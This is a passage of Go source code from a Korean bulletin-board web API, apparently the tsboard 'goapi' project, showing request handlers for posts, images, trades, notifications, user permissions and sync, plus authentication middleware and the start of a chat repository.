| return utils.Err(c, "Invalid post uid, not a valid number", models.CODE_INVALID_PARAMETER) 83 | } 84 | 85 | result, err := h.service.Board.LoadPost(uint(boardUid), uint(postUid), uint(actionUserUid)) 86 | if err != nil { 87 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 88 | } 89 | return utils.Ok(c, result) 90 | } 91 | 92 | // 게시글 수정하기 핸들러 93 | func (h *TsboardEditorHandler) ModifyPostHandler(c fiber.Ctx) error { 94 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 95 | if err != nil { 96 | return utils.Err(c, "Invalid post uid, not a valid number", models.CODE_INVALID_PARAMETER) 97 | } 98 | parameter, err := utils.CheckWriteParameters(c) 99 | if err != nil { 100 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 101 | } 102 | 103 | err = h.service.Board.ModifyPost(models.EditorModifyParameter{ 104 | EditorWriteParameter: parameter, 105 | PostUid: uint(postUid), 106 | }) 107 | if err != nil { 108 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 109 | } 110 | return utils.Ok(c, nil) 111 | } 112 | 113 | // 게시글에 삽입한 이미지 삭제하기 핸들러 114 | func (h *TsboardEditorHandler) RemoveInsertImageHandler(c fiber.Ctx) error { 115 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 116 | imageUid, err := strconv.ParseUint(c.FormValue("imageUid"), 10, 32) 117 | if err != nil { 118 | return utils.Err(c, "Invalid image uid, not a valid number", models.CODE_INVALID_PARAMETER) 119 | } 120 | 121 | h.service.Board.RemoveInsertedImage(uint(imageUid), uint(actionUserUid)) 122 | return utils.Ok(c, nil) 123 | } 124 | 125 | // 기존에 첨부했던 파일을 글 수정에서 삭제하기 126 | func (h *TsboardEditorHandler) RemoveAttachedFileHandler(c fiber.Ctx) error { 127 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 128 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 129 | if err != nil { 130 | return utils.Err(c, "Invalid board uid, not a valid number", models.CODE_INVALID_PARAMETER) 131 | } 132 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 133 | if err != nil { 134 | return utils.Err(c, "Invalid post uid, not a valid number", models.CODE_INVALID_PARAMETER) 135 | } 136 | fileUid, err := strconv.ParseUint(c.FormValue("fileUid"), 10, 32) 137 | if err != nil { 138 | return utils.Err(c, "Invalid file uid, not a valid number", models.CODE_INVALID_PARAMETER) 139 | } 140 | 141 | h.service.Board.RemoveAttachedFile(models.EditorRemoveAttachedParameter{ 142 | BoardUid: uint(boardUid), 143 | PostUid: uint(postUid), 144 | FileUid: uint(fileUid), 145 | UserUid: uint(actionUserUid), 146 | }) 147 | return utils.Ok(c, nil) 148 | } 149 | 150 | // 해시태그 추천 목록 반환하는 핸들러 151 | func (h *TsboardEditorHandler) SuggestionHashtagHandler(c fiber.Ctx) error { 152 | input, err := url.QueryUnescape(c.FormValue("tag")) 153 | if err != nil { 154 | return utils.Err(c, "Invalid tag name", models.CODE_INVALID_PARAMETER) 155 | } 156 | bunch, err := strconv.ParseUint(c.FormValue("limit"), 10, 32) 157 | if err != nil { 158 | return utils.Err(c, "Invalid limit, not a valid number", models.CODE_INVALID_PARAMETER) 159 | } 160 | 161 | suggestions := h.service.Board.GetSuggestionTags(input, uint(bunch)) 162 | return utils.Ok(c, suggestions) 163 | } 164 | 165 | // 게시글 내용에 이미지 삽입하는 핸들러 166 | func (h *TsboardEditorHandler) UploadInsertImageHandler(c fiber.Ctx) error { 167 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 168 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 169 | if err != nil { 170 | return utils.Err(c, "Invalid board uid, not a valid number", models.CODE_INVALID_PARAMETER) 171 | } 172 | fileSizeLimit, _ := strconv.ParseInt(configs.Env.FileSizeLimit, 10, 32) 173 | form, err := c.MultipartForm() 174 | if err != nil { 175 | return utils.Err(c, "Failed to parse form", models.CODE_FAILED_OPERATION) 176 | } 177 | images := form.File["images[]"] 178 | if len(images) < 1 { 179 | return utils.Err(c, "No files uploaded", models.CODE_INVALID_PARAMETER) 180 | } 181 | 182 | var totalFileSize int64 183 | for _, fileHeader := range images { 184 | totalFileSize += fileHeader.Size 185 | } 186 | if totalFileSize > fileSizeLimit { 187 | return utils.Err(c, "Uploaded files exceed size limitation", models.CODE_EXCEED_SIZE) 188 | } 189 | 190 | uploadedImages, err := h.service.Board.UploadInsertImage(uint(boardUid), uint(actionUserUid), images) 191 | if err != nil { 192 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 193 | } 194 | return utils.Ok(c, uploadedImages) 195 | } 196 | 197 | // 게시글 작성하기 핸들러 198 | func (h *TsboardEditorHandler) WritePostHandler(c fiber.Ctx) error { 199 | parameter, err := utils.CheckWriteParameters(c) 200 | if err != nil { 201 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 202 | } 203 | 204 | postUid, err := h.service.Board.WritePost(parameter) 205 | if err != nil { 206 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 207 | } 208 | return utils.Ok(c, postUid) 209 | } 210 | -------------------------------------------------------------------------------- /internal/handlers/handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import "github.com/validpublic/goapi/internal/services" 4 | 5 | // 모든 핸들러들을 관리 6 | type Handler struct { 7 | Admin AdminHandler 8 | Auth AuthHandler 9 | Board BoardHandler 10 | Blog BlogHandler 11 | Chat ChatHandler 12 | Comment CommentHandler 13 | Editor EditorHandler 14 | Home HomeHandler 15 | Noti NotiHandler 16 | OAuth2 OAuth2Handler 17 | Sync SyncHandler 18 | Trade TradeHandler 19 | User UserHandler 20 | } 21 | 22 | // 모든 핸들러들을 생성 23 | func NewHandler(s *services.Service) *Handler { 24 | return &Handler{ 25 | Admin: NewTsboardAdminHandler(s), 26 | Auth: NewTsboardAuthHandler(s), 27 | Board: NewTsboardBoardHandler(s), 28 | Blog: NewTsboardBlogHandler(s), 29 | Chat: NewTsboardChatHandler(s), 30 | Comment: NewTsboardCommentHandler(s), 31 | Editor: NewTsboardEditorHandler(s), 32 | Home: NewTsboardHomeHandler(s), 33 | Noti: NewTsboardNotiHandler(s), 34 | OAuth2: NewTsboardOAuth2Handler(s), 35 | Sync: NewTsboardSyncHandler(s), 36 | Trade: NewTsboardTradeHandler(s), 37 | User: NewTsboardUserHandler(s), 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /internal/handlers/home_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "fmt" 5 | "html/template" 6 | "net/url" 7 | "strconv" 8 | texttemplate "text/template" 9 | "time" 10 | 11 | "github.com/gofiber/fiber/v3" 12 | "github.com/validpublic/goapi/internal/configs" 13 | "github.com/validpublic/goapi/internal/services" 14 | "github.com/validpublic/goapi/pkg/models" 15 | "github.com/validpublic/goapi/pkg/templates" 16 | "github.com/validpublic/goapi/pkg/utils" 17 | ) 18 | 19 | type HomeHandler interface { 20 | ShowVersionHandler(c fiber.Ctx) error 21 | CountingVisitorHandler(c fiber.Ctx) error 22 | LoadSidebarLinkHandler(c fiber.Ctx) error 23 | LoadAllPostsHandler(c fiber.Ctx) error 24 | LoadMainPageHandler(c fiber.Ctx) error 25 | LoadPostsByIdHandler(c fiber.Ctx) error 26 | LoadSitemapHandler(c fiber.Ctx) error 27 | } 28 | 29 | type TsboardHomeHandler struct { 30 | service *services.Service 31 | } 32 | 33 | // services.Service 주입 받기 34 | func NewTsboardHomeHandler(service *services.Service) *TsboardHomeHandler { 35 | return &TsboardHomeHandler{service: service} 36 | } 37 | 38 | // 메세지 출력 테스트용 핸들러 39 | func (h *TsboardHomeHandler) ShowVersionHandler(c fiber.Ctx) error { 40 | return utils.Ok(c, &models.HomeVisitResult{ 41 | Success: true, 42 | OfficialWebsite: "tsboard.dev", 43 | Version: configs.Env.Version, 44 | License: "MIT", 45 | Github: "github.com/validpublic/goapi", 46 | }) 47 | } 48 | 49 | // 방문자 조회수 올리기 핸들러 50 | func (h *TsboardHomeHandler) CountingVisitorHandler(c fiber.Ctx) error { 51 | userUid, err := strconv.ParseUint(c.FormValue("userUid"), 10, 32) 52 | if err != nil { 53 | userUid = 0 54 | } 55 | h.service.Home.AddVisitorLog(uint(userUid)) 56 | return utils.Ok(c, nil) 57 | } 58 | 59 | // 홈화면의 사이드바에 사용할 게시판 링크들 가져오기 핸들러 60 | func (h *TsboardHomeHandler) LoadSidebarLinkHandler(c fiber.Ctx) error { 61 | links, err := h.service.Home.GetSidebarLinks() 62 | if err != nil { 63 | return utils.Err(c, "Unable to load group/board links", models.CODE_FAILED_OPERATION) 64 | } 65 | return utils.Ok(c, links) 66 | } 67 | 68 | // 홈화면에서 모든 최근 게시글들 가져오기 (검색 지원) 핸들러 69 | func (h *TsboardHomeHandler) LoadAllPostsHandler(c fiber.Ctx) error { 70 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 71 | sinceUid64, err := strconv.ParseUint(c.FormValue("sinceUid"), 10, 32) 72 | if err != nil { 73 | return utils.Err(c, "Invalid since uid, not a valid number", models.CODE_INVALID_PARAMETER) 74 | } 75 | bunch, err := strconv.ParseUint(c.FormValue("bunch"), 10, 32) 76 | if err != nil || bunch < 1 || bunch > 100 { 77 | return utils.Err(c, "Invalid bunch, not a valid number", models.CODE_INVALID_PARAMETER) 78 | } 79 | option, err := strconv.ParseUint(c.FormValue("option"), 10, 32) 80 | if err != nil { 81 | return utils.Err(c, "Invalid option, not a valid number", models.CODE_INVALID_PARAMETER) 82 | } 83 | keyword, err := url.QueryUnescape(c.FormValue("keyword")) 84 | if err != nil { 85 | return utils.Err(c, "Invalid keyword, failed to unescape", models.CODE_INVALID_PARAMETER) 86 | } 87 | keyword = utils.Escape(keyword) 88 | 89 | sinceUid := uint(sinceUid64) 90 | if sinceUid < 1 { 91 | sinceUid = h.service.Board.GetMaxUid() + 1 92 | } 93 | parameter := models.HomePostParameter{ 94 | SinceUid: sinceUid, 95 | Bunch: uint(bunch), 96 | Option: models.Search(option), 97 | Keyword: keyword, 98 | UserUid: uint(actionUserUid), 99 | BoardUid: 0, 100 | } 101 | 102 | result, err := h.service.Home.GetLatestPosts(parameter) 103 | if err != nil { 104 | return utils.Err(c, "Failed to get latest posts", models.CODE_FAILED_OPERATION) 105 | } 106 | 107 | return utils.Ok(c, result) 108 | } 109 | 110 | // 검색엔진을 위한 메인 페이지 가져오는 핸들러 111 | func (h *TsboardHomeHandler) LoadMainPageHandler(c fiber.Ctx) error { 112 | main := models.HomeMainPage{} 113 | main.Version = configs.Env.Version 114 | main.PageTitle = configs.Env.Title 115 | main.PageUrl = configs.Env.URL 116 | 117 | articles, err := h.service.Home.LoadMainPage(50) 118 | if err != nil { 119 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 120 | } 121 | main.Articles = articles 122 | 123 | c.Set("Content-Type", "text/html") 124 | tmpl, err := template.New("main").Parse(templates.MainPageBody) 125 | if err != nil { 126 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 127 | } 128 | 129 | err = tmpl.Execute(c.Response().BodyWriter(), main) 130 | if err != nil { 131 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 132 | } 133 | return nil 134 | } 135 | 136 | // 홈화면에서 지정된 게시판 ID에 해당하는 최근 게시글들 가져오기 핸들러 137 | func (h *TsboardHomeHandler) LoadPostsByIdHandler(c fiber.Ctx) error { 138 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 139 | id := c.FormValue("id") 140 | bunch, err := strconv.ParseUint(c.FormValue("limit"), 10, 32) 141 | if err != nil || bunch < 1 || bunch > 100 { 142 | return utils.Err(c, "Invalid limit, not a valid number", models.CODE_INVALID_PARAMETER) 143 | } 144 | 145 | boardUid := h.service.Board.GetBoardUid(id) 146 | if boardUid < 1 { 147 | return utils.Err(c, "Invalid board id, unable to find board", models.CODE_INVALID_PARAMETER) 148 | } 149 | 150 | parameter := models.HomePostParameter{ 151 | SinceUid: h.service.Board.GetMaxUid() + 1, 152 | Bunch: uint(bunch), 153 | Option: models.SEARCH_NONE, 154 | Keyword: "", 155 | UserUid: uint(actionUserUid), 156 | BoardUid: uint(boardUid), 157 | } 158 | items, err := h.service.Home.GetLatestPosts(parameter) 159 | if err != nil { 160 | return utils.Err(c, "Failed to get latest posts from specific board", models.CODE_FAILED_OPERATION) 161 | } 162 | 163 | config := h.service.Board.GetBoardConfig(boardUid) 164 | return utils.Ok(c, models.BoardHomePostResult{ 165 | Items: items, 166 | Config: config, 167 | }) 168 | } 169 | 170 | // 사이트맵 xml 내용 반환하기 핸들러 171 | func (h *TsboardHomeHandler) LoadSitemapHandler(c fiber.Ctx) error { 172 | urls := []models.HomeSitemapURL{ 173 | { 174 | Loc: fmt.Sprintf("%s/goapi/seo/main.html", configs.Env.URL), 175 | LastMod: time.Now().Format("2006-01-02"), 176 | ChangeFreq: "daily", 177 | Priority: "1.0", 178 | }, 179 | } 180 | 181 | boards := h.service.Home.GetBoardIDsForSitemap() 182 | urls = append(urls, boards...) 183 | 184 | c.Set("Content-Type", "application/xml") 185 | tmpl, err := texttemplate.New("sitemap").Parse(templates.SitemapBody) 186 | if err != nil { 187 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 188 | } 189 | 190 | err = tmpl.Execute(c.Response().BodyWriter(), urls) 191 | if err != nil { 192 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 193 | } 194 | return nil 195 | } 196 | -------------------------------------------------------------------------------- /internal/handlers/noti_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/gofiber/fiber/v3" 7 | "github.com/validpublic/goapi/internal/services" 8 | "github.com/validpublic/goapi/pkg/models" 9 | "github.com/validpublic/goapi/pkg/utils" 10 | ) 11 | 12 | type NotiHandler interface { 13 | CheckedAllNotiHandler(c fiber.Ctx) error 14 | CheckedSingleNotiHandler(c fiber.Ctx) error 15 | LoadNotiListHandler(c fiber.Ctx) error 16 | } 17 | 18 | type TsboardNotiHandler struct { 19 | service *services.Service 20 | } 21 | 22 | // services.Service 주입 받기 23 | func NewTsboardNotiHandler(service *services.Service) *TsboardNotiHandler { 24 | return &TsboardNotiHandler{service: service} 25 | } 26 | 27 | // 알림 모두 확인하기 처리 28 | func (h *TsboardNotiHandler) CheckedAllNotiHandler(c fiber.Ctx) error { 29 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 30 | h.service.Noti.CheckedAllNoti(uint(actionUserUid)) 31 | return utils.Ok(c, nil) 32 | } 33 | 34 | // 하나의 알림만 확인 처리하기 35 | func (h *TsboardNotiHandler) CheckedSingleNotiHandler(c fiber.Ctx) error { 36 | notiUid, err := strconv.ParseUint(c.Params("notiUid"), 10, 32) 37 | if err != nil { 38 | return utils.Err(c, "Invalid noti uid, not a valid number", models.CODE_INVALID_PARAMETER) 39 | } 40 | h.service.Noti.CheckedSingleNoti(uint(notiUid)) 41 | return utils.Ok(c, nil) 42 | } 43 | 44 | // 알림 목록 가져오기 45 | func (h *TsboardNotiHandler) LoadNotiListHandler(c fiber.Ctx) error { 46 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 47 | limit, err := strconv.ParseUint(c.FormValue("limit"), 10, 32) 48 | if err != nil { 49 | return utils.Err(c, "Invalid limit, not a valid number", models.CODE_INVALID_PARAMETER) 50 | } 51 | 52 | notis, err := h.service.Noti.GetUserNoti(uint(actionUserUid), uint(limit)) 53 | if err != nil { 54 | return utils.Err(c, "Failed to load your notifications", models.CODE_FAILED_OPERATION) 55 | } 56 | return utils.Ok(c, notis) 57 | } 58 | -------------------------------------------------------------------------------- /internal/handlers/sync_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/gofiber/fiber/v3" 7 | "github.com/validpublic/goapi/internal/configs" 8 | "github.com/validpublic/goapi/internal/services" 9 | "github.com/validpublic/goapi/pkg/models" 10 | "github.com/validpublic/goapi/pkg/utils" 11 | ) 12 | 13 | type SyncHandler interface { 14 | SyncPostHandler(c fiber.Ctx) error 15 | } 16 | 17 | type TsboardSyncHandler struct { 18 | service *services.Service 19 | } 20 | 21 | // services.Service 주입 받기 22 | func NewTsboardSyncHandler(service *services.Service) *TsboardSyncHandler { 23 | return &TsboardSyncHandler{service: service} 24 | } 25 | 26 | // (허용된) 다른 곳으로 이 곳의 게시글들을 동기화 할 수 있도록 데이터 출력 27 | func (h *TsboardSyncHandler) SyncPostHandler(c fiber.Ctx) error { 28 | key := c.FormValue("key") 29 | bunch, err := strconv.ParseUint(c.FormValue("limit"), 10, 32) 30 | if err != nil || bunch < 1 || bunch > 100 { 31 | return utils.Err(c, "Invalid limit, not a valid number", models.CODE_INVALID_PARAMETER) 32 | } 33 | 34 | if key != configs.Env.JWTSecretKey { 35 | return utils.Err(c, "Invalid key, unauthorized access", models.CODE_INVALID_PARAMETER) 36 | } 37 | 38 | result := h.service.Sync.GetLatestPosts(uint(bunch)) 39 | return utils.Ok(c, result) 40 | } 41 | -------------------------------------------------------------------------------- /internal/handlers/trade_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "strconv" 5 | "strings" 6 | 7 | "github.com/gofiber/fiber/v3" 8 | "github.com/validpublic/goapi/internal/services" 9 | "github.com/validpublic/goapi/pkg/models" 10 | "github.com/validpublic/goapi/pkg/utils" 11 | ) 12 | 13 | type TradeHandler interface { 14 | TradeListHandler(c fiber.Ctx) error 15 | TradeModifyHandler(c fiber.Ctx) error 16 | TradeViewHandler(c fiber.Ctx) error 17 | TradeWriteHandler(c fiber.Ctx) error 18 | UpdateStatusHandler(c fiber.Ctx) error 19 | } 20 | 21 | type TsboardTradeHandler struct { 22 | service *services.Service 23 | } 24 | 25 | // services.Service 주입 받기 26 | func NewTsboardTradeHandler(service *services.Service) *TsboardTradeHandler { 27 | return &TsboardTradeHandler{service: service} 28 | } 29 | 30 | // 거래 목록 가져오기 핸들러 31 | func (h *TsboardTradeHandler) TradeListHandler(c fiber.Ctx) error { 32 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 33 | postUidStrs := strings.Split(c.FormValue("postUids"), ",") 34 | results := make([]models.TradeResult, 0) 35 | 36 | for _, uidStr := range postUidStrs { 37 | uid, err := strconv.ParseUint(uidStr, 10, 32) 38 | if err != nil { 39 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 40 | } 41 | result, err := h.service.Trade.GetTradeItem(uint(uid), uint(actionUserUid)) 42 | if err != nil { 43 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 44 | } 45 | results = append(results, result) 46 | } 47 | return utils.Ok(c, results) 48 | } 49 | 50 | // 거래 내용 수정하기 핸들러 51 | func (h *TsboardTradeHandler) TradeModifyHandler(c fiber.Ctx) error { 52 | parameter, err := utils.CheckTradeWriteParameters(c) 53 | if err != nil { 54 | return utils.Err(c, err.Error(), models.CODE_INVALID_PARAMETER) 55 | } 56 | 57 | err = h.service.Trade.ModifyPost(parameter) 58 | if err != nil { 59 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 60 | } 61 | return utils.Ok(c, nil) 62 | } 63 | 64 | // 거래 보기 핸들러 65 | func (h *TsboardTradeHandler) TradeViewHandler(c fiber.Ctx) error { 66 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 67 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 68 | if err != nil { 69 | return utils.Err(c, err.Error(), models.CODE_INVALID_PARAMETER) 70 | } 71 | info, err := h.service.Trade.GetTradeItem(uint(postUid), uint(actionUserUid)) 72 | if err != nil { 73 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 74 | } 75 | return utils.Ok(c, info) 76 | } 77 | 78 | // 새 거래 작성하기 핸들러 79 | func (h *TsboardTradeHandler) TradeWriteHandler(c fiber.Ctx) error { 80 | parameter, err := utils.CheckTradeWriteParameters(c) 81 | if err != nil { 82 | return utils.Err(c, err.Error(), models.CODE_INVALID_PARAMETER) 83 | } 84 | 85 | err = h.service.Trade.WritePost(parameter) 86 | if err != nil { 87 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 88 | } 89 | return utils.Ok(c, nil) 90 | } 91 | 92 | // 거래 상태 변경 핸들러 93 | func (h *TsboardTradeHandler) UpdateStatusHandler(c fiber.Ctx) error { 94 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 95 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 96 | if err != nil { 97 | return utils.Err(c, err.Error(), models.CODE_INVALID_PARAMETER) 98 | } 99 | newStatus, err := strconv.ParseUint(c.FormValue("newStatus"), 10, 32) 100 | if err != nil { 101 | return utils.Err(c, err.Error(), models.CODE_INVALID_PARAMETER) 102 | } 103 | 104 | err = h.service.Trade.UpdateStatus(uint(postUid), uint(newStatus), uint(actionUserUid)) 105 | if err != nil { 106 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 107 | } 108 | return utils.Ok(c, nil) 109 | } 110 | -------------------------------------------------------------------------------- /internal/handlers/user_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/gofiber/fiber/v3" 7 | "github.com/validpublic/goapi/internal/services" 8 | "github.com/validpublic/goapi/pkg/models" 9 | "github.com/validpublic/goapi/pkg/utils" 10 | ) 11 | 12 | type UserHandler interface { 13 | ChangePasswordHandler(c fiber.Ctx) error 14 | LoadUserInfoHandler(c fiber.Ctx) error 15 | LoadUserPermissionHandler(c fiber.Ctx) error 16 | ManageUserPermissionHandler(c fiber.Ctx) error 17 | ReportUserHandler(c fiber.Ctx) error 18 | } 19 | 20 | type TsboardUserHandler struct { 21 | service *services.Service 22 | } 23 | 24 | // services.Service 주입 받기 25 | func NewTsboardUserHandler(service *services.Service) *TsboardUserHandler { 26 | return &TsboardUserHandler{service: service} 27 | } 28 | 29 | // 비밀번호 변경하기 30 | func (h *TsboardUserHandler) ChangePasswordHandler(c fiber.Ctx) error { 31 | userCode := c.FormValue("code") 32 | newPassword := c.FormValue("password") 33 | 34 | if len(userCode) != 6 || len(newPassword) != 64 { 35 | return utils.Err(c, "Failed to change your password, invalid inputs", models.CODE_INVALID_PARAMETER) 36 | } 37 | 38 | verifyUid, err := strconv.ParseUint(c.FormValue("target"), 10, 32) 39 | if err != nil { 40 | return utils.Err(c, "Invalid target, not a valid number", models.CODE_INVALID_PARAMETER) 41 | } 42 | 43 | result := h.service.User.ChangePassword(uint(verifyUid), userCode, newPassword) 44 | if !result { 45 | return utils.Err(c, "Unable to change your password, internal error", models.CODE_FAILED_OPERATION) 46 | } 47 | return utils.Ok(c, nil) 48 | } 49 | 50 | // 사용자 정보 열람 51 | func (h *TsboardUserHandler) LoadUserInfoHandler(c fiber.Ctx) error { 52 | targetUserUid, err := strconv.ParseUint(c.FormValue("targetUserUid"), 10, 32) 53 | if err != nil { 54 | return utils.Err(c, "Invalid target user uid, not a valid number", models.CODE_INVALID_PARAMETER) 55 | } 56 | 57 | userInfo, err := h.service.User.GetUserInfo(uint(targetUserUid)) 58 | if err != nil { 59 | return utils.Err(c, "User not found", models.CODE_FAILED_OPERATION) 60 | } 61 | return utils.Ok(c, userInfo) 62 | } 63 | 64 | // 사용자 권한 및 리포트 응답 가져오기 65 | func (h *TsboardUserHandler) LoadUserPermissionHandler(c fiber.Ctx) error { 66 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 67 | targetUserUid, err := strconv.ParseUint(c.FormValue("targetUserUid"), 10, 32) 68 | if err != nil { 69 | return utils.Err(c, "Invalid target user uid, not a valid number", models.CODE_INVALID_PARAMETER) 70 | } 71 | 72 | result := h.service.User.GetUserPermission(uint(actionUserUid), uint(targetUserUid)) 73 | return utils.Ok(c, result) 74 | } 75 | 76 | // 사용자 권한 수정하기 77 | func (h *TsboardUserHandler) ManageUserPermissionHandler(c fiber.Ctx) error { 78 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 79 | targetUserUid, err := strconv.ParseUint(c.FormValue("targetUserUid"), 10, 32) 80 | if err != nil { 81 | return utils.Err(c, "Invalid user uid, not a valid number", models.CODE_INVALID_PARAMETER) 82 | } 83 | writePost, err := strconv.ParseBool(c.FormValue("writePost")) 84 | if err != nil { 85 | return utils.Err(c, "Invalid writePost, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 86 | } 87 | writeComment, err := strconv.ParseBool(c.FormValue("writeComment")) 88 | if err != nil { 89 | return utils.Err(c, "Invalid writeComment, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 90 | } 91 | sendChat, err := strconv.ParseBool(c.FormValue("sendChatMessage")) 92 | if err != nil { 93 | return utils.Err(c, "Invalid sendChatMessage, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 94 | } 95 | sendReport, err := strconv.ParseBool(c.FormValue("sendReport")) 96 | if err != nil { 97 | return utils.Err(c, "Invalid sendReport, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 98 | } 99 | login, err := strconv.ParseBool(c.FormValue("login")) 100 | if err != nil { 101 | return utils.Err(c, "Invalid login, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 102 | } 103 | response := c.FormValue("response") 104 | 105 | param := models.UserPermissionReportResult{ 106 | UserPermissionResult: models.UserPermissionResult{ 107 | WritePost: writePost, 108 | WriteComment: writeComment, 109 | SendChatMessage: sendChat, 110 | SendReport: sendReport, 111 | }, 112 | Login: login, 113 | UserUid: uint(targetUserUid), 114 | Response: response, 115 | } 116 | 117 | err = h.service.User.ChangeUserPermission(uint(actionUserUid), param) 118 | if err != nil { 119 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 120 | } 121 | return utils.Ok(c, nil) 122 | } 123 | 124 | // 사용자 신고하기 125 | func (h *TsboardUserHandler) ReportUserHandler(c fiber.Ctx) error { 126 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 127 | content := c.FormValue("content") 128 | targetUserUid, err := strconv.ParseUint(c.FormValue("targetUserUid"), 10, 32) 129 | if err != nil { 130 | return utils.Err(c, "Invalid target user uid, not a valid number", models.CODE_INVALID_PARAMETER) 131 | } 132 | checkedBlackList, err := strconv.ParseBool(c.FormValue("checkedBlackList")) 133 | if err != nil { 134 | return utils.Err(c, "Invalid checkedBlackList, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 135 | } 136 | result := h.service.User.ReportTargetUser(uint(actionUserUid), uint(targetUserUid), checkedBlackList, content) 137 | if !result { 138 | return utils.Err(c, "You have no permission to report other user", models.CODE_NO_PERMISSION) 139 | } 140 | return utils.Ok(c, nil) 141 | } 142 | -------------------------------------------------------------------------------- /internal/middlewares/jwt_middleware.go: -------------------------------------------------------------------------------- 1 | package middlewares 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/pkg/models" 6 | "github.com/validpublic/goapi/pkg/utils" 7 | ) 8 | 9 | // 로그인 여부를 확인하는 미들웨어 10 | func JWTMiddleware() fiber.Handler { 11 | return func(c fiber.Ctx) error { 12 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 13 | if actionUserUid < 1 { 14 | return utils.ResponseAuthFail(c, actionUserUid) 15 | } 16 | return c.Next() 17 | } 18 | } 19 | 20 | // 최고 관리자인지 확인하는 미들웨어 21 | func AdminMiddleware() fiber.Handler { 22 | return func(c fiber.Ctx) error { 23 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 24 | if actionUserUid < 1 { 25 | return utils.ResponseAuthFail(c, actionUserUid) 26 | } 27 | if actionUserUid != 1 { 28 | return utils.Err(c, "Unauthorized access, you are not an administrator", models.CODE_NOT_ADMIN) 29 | } 30 | return c.Next() 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /internal/repositories/chat_repo.go: -------------------------------------------------------------------------------- 1 | package repositories 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "time" 7 | 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/pkg/models" 10 | ) 11 | 12 | type ChatRepository interface { 13 | InsertNewChat(actionUserUid uint, targetUserUid uint, message string) uint 14 | LoadChatList(userUid uint, limit uint) ([]models.ChatItem, error) 15 | LoadChatHistory(actionUserUid uint, targetUserUid uint, limit uint) ([]models.ChatHistory, error) 16 | } 17 | 18 | type TsboardChatRepository struct { 19 | db *sql.DB 20 | } 21 | 22 | // sql.DB 포인터 주입받기 23 | func NewTsboardChatRepository(db *sql.DB) *TsboardChatRepository { 24 | return &TsboardChatRepository{db: db} 25 | } 26 | 27 | // 쪽지 보내기 28 | func (r *TsboardChatRepository) InsertNewChat(actionUserUid uint, targetUserUid uint, message string) uint { 29 | query := fmt.Sprintf("INSERT INTO %s%s (to_uid, from_uid, message, timestamp) VALUES (?, ?, ?, ?)", 30 | configs.Env.Prefix, models.TABLE_CHAT) 31 | 32 | result, err := r.db.Exec(query, targetUserUid, actionUserUid, message, time.Now().UnixMilli()) 33 | if err != nil { 34 | return models.FAILED 35 | } 36 | 37 | insertId, err := result.LastInsertId() 38 | if err != nil { 39 | return models.FAILED 40 | } 41 | return uint(insertId) 42 | } 43 | 44 | // 쪽지 목록들 반환 45 | func (r *TsboardChatRepository) LoadChatList(userUid uint, limit uint) ([]models.ChatItem, error) { 46 | query 